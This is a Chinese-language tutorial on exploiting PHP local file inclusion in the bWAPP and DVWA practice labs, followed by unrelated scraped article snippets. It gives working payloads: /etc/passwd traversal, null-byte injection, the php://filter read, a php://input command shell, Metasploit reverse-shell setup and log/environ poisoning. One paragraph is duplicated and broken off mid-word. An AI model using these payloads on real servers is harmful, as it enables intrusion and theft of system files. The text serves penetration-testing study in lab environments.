五种利用本地包含漏洞的方式

2023-10-30

本文讲的是 五种利用本地包含漏洞的方式本地文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用内部定义的函数。

本地包含漏洞是PHP中一种典型的高危漏洞。由于程序员未对用户可控的变量进行输入检查,导致用户可以控制被包含的文件,成功利用时可以使web server会将特定文件当成php执行,从而导致用户可获取一定的服务器权限。

本篇文章的主要目的是分享在服务器上使用各种技术攻击一个Web服务器的想法,当服务器遭受文件包含漏洞时,用户会通过URL在浏览器中包括一个文件。在本文中,作者将使用了两个不同的平台bWAPP(一款非常好用的漏洞演示平台,集成了各种常见漏洞和最新漏洞的开源Web应用程序,目的是帮助网络安全爱好者、开发人员和学生发现并防止网络漏洞)和DVWA(dema vulnerable web application,是一个基于PHP/MYSQL环境写的一个web应用,主要目的是帮助安全专业员在合法的环境里面去测试他们的技术和工具),其中包含文件包含漏洞,然后以四种不同的方式执行LFI攻击。

基本本地文件包含

在浏览器中打开目标IP,并在BWAPP内登录为bee:bug,然后就可以选择remote & local file Inclusion,然后点击hack。

五种利用本地包含漏洞的方式

这时,所请求的具有RFI和LFI漏洞的网页就会被打开。你将在给定的下拉列表中找到用于选择语言的注释,当你单击go按钮时,所选的语言文件将包含在URL中。这时基本攻击操作便会执行。

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd

在基本的LFI攻击中,我们可以使用(../)或简单地(/)从目录中直接读取文件的内容,现在如果你注意到下面的截图,你会发现有浏览器中正在执行访问密码文件URL。

五种利用本地包含漏洞的方式

空字符注入

在一些情况下,由于高安全级别,上述所讲的基本本地文件包含攻击可能起不到攻击效果。从下面的图中,大家可以观察到,当在URL中执行相同的路径时,是无法读取密码文件的。所以当我们面对这样的问题,就要采用空字符注入攻击了。

现在打开Burp Suite(是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程)来捕获浏览器中的请求,然后选择proxy tab并开始intercept,不过不要忘记在使用Burp Suite时设置browser proxy  

五种利用本地包含漏洞的方式

Burp支持手动的Web应用程序测试的活动。它可以让你有效地结合手动和自动化技术,使你可以完全控制所有的BurpSuite执行的行动,并提供有关你所测试的应用程序的详细信息和分析。 让我们一起来看看Burp Suite的测试流程过程吧。 如下图

五种利用本地包含漏洞的方式

现在内部BurpSuite会将拦截的数据发送到中继器。

五种利用本地包含漏洞的方式

存在于其中面的中继器你可以做发送的请求和响应生成的分析。从一下屏幕的截图中,我们可以清楚的发现, / etc / passwd是不工作,所以我们无法读取密码文件。

五种利用本地包含漏洞的方式

从以下截图中,可以看到我们已经通过在/ etc / passwd%00目录的末尾添加空了字符(%00)来转发请求,单击go运行之后,然后在窗口的右视图上,密码文件作为响应就被打开。

五种利用本地包含漏洞的方式

Base64编码

现在用另一种方法来利用LFI时,当安全级别很高时,并且无法查看PHP文件内容时,可以使用以下PHP函数。

http://192.168.1.101/bWAPP/rlfi.php?language= php://filter/read=convert.base64-encode/resource=/etc/passwd

从下面的截图你可以看到密码文件的内容编码为base64,然后复制整个编码文本。

五种利用本地包含漏洞的方式

比如本文的作者使用的就是hackbar(firefox浏览器上的一个插件)解码上面复制的文本。

五种利用本地包含漏洞的方式

现在会有一个弹出框被打开,然后复制编码文本,并单击OK

五种利用本地包含漏洞的方式

从以下的屏幕截图中,你可以查看结果并读取密码文件的内容。

五种利用本地包含漏洞的方式

PHP输入

使用PHP输入函数,我们将执行注入的PHP代码来利用LFI漏洞。在hackbar的帮助下,就可以开始执行这个任务了,首先,我们需要加载目标网页的URL,如下方的屏幕截图所示。

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go

五种利用本地包含漏洞的方式

现在使用PHP输入函数,操作上面的URL 

http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls

然后选中复选框的enable Post data ,

,它将转发发布请求并在给定文本区域中添加cmd注释<?php system($ _ GET ['cmd']); ?>如下图所示,最后点击execute。然后被攻击者的PC目录就显示了出来。

五种利用本地包含漏洞的方式

现在就可以通过反向连接连接受害者;在kali Linux(基于Debian的Linux发行版, 设计用于数字取证和渗透测试)中打开终端并键入msfconsole启动metasploit框架。

现在键入use exploit / multi / script / web_delivery

msf exploit(web_delivery)>set target 1
msf exploit(web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit(web_delivery)> set lhost 192.168.0.104
msf exploit(web_delivery)> set srvport 8081
msf exploit(web_delivery)> exploit

然后复制下面窗口红色字体的文本

五种利用本地包含漏洞的方式

将上面复制的PHP代码粘贴到URL中,如图所示,并执行它。

五种利用本地包含漏洞的方式

当执行上面的URL时,攻击者就会在metasploit中获得受害者的meterpreter通信记录。

msf exploit(web_delivery)> session -I 1
meterpreter> sysinfo

五种利用本地包含漏洞的方式

Proc / self / environ

如果服务器已过响应时间,还可以通过LFI重新利用,包括存储在User_Agent的/proc/self/environ文件,我们将把我们的PHP代码放置其中用于执行CMD命令。

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ

五种利用本地包含漏洞的方式

现在启动burp suite 并捕获浏览器的请求,就能获取发送到中继器的数据。

五种利用本地包含漏洞的方式

在user_Agent内,添加cmd注释<?php system($ _ GET ['cmd']); ?>,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求,如下图所示。在窗口的右侧,你就可以看到hig

添加cmd注释<?php system($ _ GET ['cmd']); ?>在user_Agent内,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求,如下图所示。 在窗口的右侧,你可以看到有闪亮的字体,这代表出现了相应的响应。

五种利用本地包含漏洞的方式

原文发布时间为:2017年2月18日
本文作者:xiaohui 
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

五种利用本地包含漏洞的方式 的相关文章

随机推荐

  • 测试计划等模板

    一 测试计划 测试范围 测试策略 测试资源 人员分配 时间安排 进度 风险评估 测试目的 测试背景 二 测试用例 测试用例编号 标题 所属模块 前置条件 操作步骤 输入数据 预期结果 实际结果 三 缺陷报告 缺陷编号 缺陷标题 缺陷状态 缺
  • vue-cropper 截图组件踩坑记

    安装 npm install save vue cropper 封装组件
  • 刷脸支付不用排队节约了时间

    科技改变人们生活 科技推动人类社会进步 近几年移动支付崛起 让人们实现了 一个手机走天下 的便捷 而如今 随着人工智能 大数据等技术的积累突破 支付方式再一次出现重大突破 即将从手机移动支付跨越到刷脸支付时代 据了解 刷脸支付技术已经成熟
  • golang实现http(s)代理

    简单原理 最近需要用golang去实现一个http s 的代理 简单的解释一下 实现过程就是首先启动一个http s 的服务 这个很简单 demo一大堆 我就不多说了 接下来要实现代理 很简单的原理就是 通过你实现的http s 服务接收到
  • python编写shell脚本详细讲解_python编写shell脚本详细讲解

    今天同事叫我编写一个shell脚本 话说 虽然我受 nix的影响甚深 但是对于 nix 里随处可见的sh脚本却是讨厌之极 为什么讨厌呢 首先是因为sh脚本那莫名其妙的语法 感觉就像随写随扔的程序 完全没有任何美感可言 其次是sh脚本的处理能
  • 我为什么选择go语言

    这里 我并不打算引起语言争论的口水仗 我并不是什么大牛 对语言的造诣也不深 只是想通过自己实际的经历 来说说为什么我在项目中选择go 其他语言的经历 C 在接触go之前 我已经有多年的c 开发经验 主要用在游戏服务端引擎开发以及P2P上面
  • pycharm调试时,控制台输入出现the view is read-only和pause the process to use the command line

    仅作为记录 大佬请跳过 文章目录 the view is read only pause the process to use the command line the view is read only 点击切换几次就好了 pause t
  • 【QT进阶】第十一章 QJson的创建与读取解析 - 实例天气获取并解析

    作者主页 凉开水白菜 作者简介 共同学习 互相监督 热于分享 多加讨论 一起进步 专栏目录 零基础学QT 文章导航篇 专栏资料 https pan baidu com s 192A28BTIYFHmixRcQwmaHw 提取码 qtqt 点
  • error info mysql_UCenter info: MySQL Query Error (UCenter一个错误的解决)

    错误信息 UCenter info MySQL Query Error SQL SELECT FROM Table notelist WHERE closed 0 AND app2 5 LIMIT 1 Error Unknown colum
  • 分布式网络通信框架(十一)——logger日志系统设计实现

    日志模块的设计 本项目所实现的日志模块采用异步工作方式 多个线程往队列写日志 一个专门的写线程从队列中读取日志信息写入磁盘中的日志文件 要点 线程安全 线程间通信 队列 生产者消费者模型 日志模块设计图如下 源代码实现 队列的实现 模板类的
  • SpringCloud使用Consul作为服务注册发现中心

    本篇文章主要记录SpringCloud使用Consul作为服务注册发现中心 通过服务提供者和消费者为例 来真正掌握Consul注册中心 目录 一 前言 二 搭建服务提供者 1 创建cloud provider payment8004项目 2
  • 基于粒子群改进的灰色神经网络的时间序列预测

    基于粒子群改进的灰色神经网络的时间序列预测 时间序列预测在许多领域中都具有重要的应用价值 如股票市场预测 气候变化预测等 针对时间序列预测问题 传统的预测模型往往面临着数据不稳定性和非线性特征的挑战 为了提高预测准确度 研究人员提出了许多改
  • QT 中与我们思维不符的片段

    1 如下 第二个lastIndexOf返回6 不太符合我们的思维 按理说匹配的是前7个字符 但实际匹配的是 crazy az 就是说加上了 strlen az 1 这个匹配串首字母外的长度 QString x crazy azimuths
  • 百度富文本编辑器UEditor的使用

    引入富文本编辑器 1 下载地址 https ueditor baidu com website download html 2 导入项目 3 文件引用
  • Java Web 安全之XSS

    概念 跨站脚本攻击 Cross Site Scripting 简称XSS 恶意攻击者往Web页面里插入恶意Script代码 当用户浏览该页之时 嵌入其中Web里面的Script代码会被执行 从而达到恶意攻击用户的目的 原理 攻击者在客户端以
  • CentOS8服务篇1:配置DNS服务器

    一 配置主DNS服务器 伯克利因特网名称域 Berkeley Internet Name Domain BIND 服务是全球范围内使用非常广泛 安全可靠且高效的域名解析服务程序 DNS域名解析服务作为互联网基础设施服务 其责任非常重大 因此
  • Q_D Q_D Q_DECLARE_PRIVATE Q_DECLARE_PUBLIC

    对于Q D Q D Q DECLARE PRIVATE Q DECLARE PUBLIC这几个宏的使用折腾了好长一段时间 在网上也找了很多相关的资料 看完之后还是感觉很凌乱 最后还是决定自己写段代码来体会体会 一下是体验过程
  • C语言二维数组,三维数组浅析笔记

    关于二维数组 int arr 2 3 1 2 3 4 5 6 前言 可以将二维数组理解为 数组的数组 数组名a为行指针 从二维数组角度看 arr代表了二维数组首元素的地址 现在首元素不是一个单独的变量 而是一个一维数组 因此arr代表了首行
  • Purpose of ‘HOLD#’ Function in Cypress SPI NOR FLASH Memory Products - KBA229044

    原文链接 https community infineon com t5 Knowledge Base Articles Purpose of HOLD Function in Cypress SPI NOR FLASH Memory ta
  • 五种利用本地包含漏洞的方式

    本文讲的是 五种利用本地包含漏洞的方式 本地文件包含 Local File Include 是php脚本的一大特色 程序员们为了开发的方便 常常会用到包含 比如把一系列功能函数都写进fuction php中 之后当某个文件需要调用的时候就直